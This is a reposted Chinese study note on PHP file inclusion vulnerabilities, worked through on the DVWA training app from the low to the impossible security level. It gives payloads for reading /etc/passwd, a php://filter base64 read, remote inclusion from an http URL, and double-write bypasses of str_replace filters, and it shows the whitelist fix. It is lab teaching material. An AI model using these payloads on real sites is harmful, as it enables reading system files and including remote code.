DVWA-文件包含學習筆記


DVWA-文件包含學習筆記

一、文件包含與漏洞

文件包含:

  開發人員將相同的函數寫入單獨的文件中,需要使用某個函數時直接調用此文件,無需再次編寫,這種文件調用的過程稱文件包含。

文件包含漏洞:

  開發人員為了使代碼更靈活,會將被包含的文件設置為變量,用來進行動態調用,從而導致客戶端可以惡意調用一個惡意文件,造成文件包含漏洞。

二、文件包含漏洞用到的函數

require:找不到被包含的文件,報錯,並且停止運行腳本。

include:找不到被包含的文件,只會報錯,但會繼續運行腳本。

require_once:與require類似,區別在於當重復調用同一文件時,程序只調用一次。

include_once:與include類似,區別在於當重復調用同一文件時,程序只調用一次。

三、目錄遍歷與文件包含的區別

  目錄遍歷是可以讀取web目錄以外的其他目錄,根源在於對路徑訪問權限設置不嚴格,針對本系統。

  文件包含是利用函數來包含web目錄以外的文件,分為本地包含和遠程包含。

四、文件包含特征

?page=a.php
?home=b.html
?file=content

檢測方法

?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt

 

五、DVWA練習

1.修改php.ini配置文件開啟文件包含功能

allow_url_include = on

   

將DVWA的級別設置為low

1.分析源碼,可以看到沒有對page參數做任何過濾

  

 本地文件包含

2.嘗試利用文件包含

2.1絕對路徑

  

文件包含時,不管包含的文件是什么類型,都會優先嘗試當作php文件執行,如果文件內容有php代碼,則會執行php代碼並返回代碼執行的結果,如果文件內容沒有php代碼,則把文件內容打印出來

   

文件內容沒有php代碼,把文件內容打印(顯示)到瀏覽器頁面

   

2.2相對路徑

  

3.使用php封裝協議讀取和寫入php文件

3.1讀取文件

php://filter/read=convert.base64-encode/resource=..././..././..././..././1.txt 訪問,可以看到顯示了base64編碼的內容

  

使用burpsuit的decode模塊解碼

  

3.2寫入php文件,下圖可以看到輸入的內容並返回結果

  

遠程文件包含

1.通過http協議包含本地服務器上的文件

  

2.通過http協議包含遠程服務器上的文件

  

將DVWA的級別設置為medium

1.分析源碼,可以看到使用str_replace函數對http://、https://、../ 、..\進行了過濾,但可以通過雙寫來繞過,或者使用絕對路徑來繞過

  

2.嘗試繞過

先使用http://192.168.10.130/1.txt 抓包分析,可以看到對http://做了過濾

  

使用雙寫繞過http://的過濾    htthttp://p://192.168.10.144/1.txt

  

使用..././..././..././..././..././..././..././ 繞過../的過濾

  

使用絕對路徑繞過

  

使用file協議繞過

  

將DVWA的級別設置為High

1.分析源碼可以看到,如果$file變量中不含有file並且$file不等於include.php,此時服務器才不會去包含文件,兩個條件只要不滿足其中任意一個,就能達到文件包含的目的,可以是同file協議來繞過

  

2.使用file協議繞過

  

將DVWA的級別設置為Impossible

1.分析源碼可以看到,使用白名單,page只能為include.php”、“file1.php”、“file2.php”、“file3.php”之一,只允許包含include.php、file1.php、file2.php、file3.php,不能包含別的文件,徹底杜絕文件包含漏洞

  

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM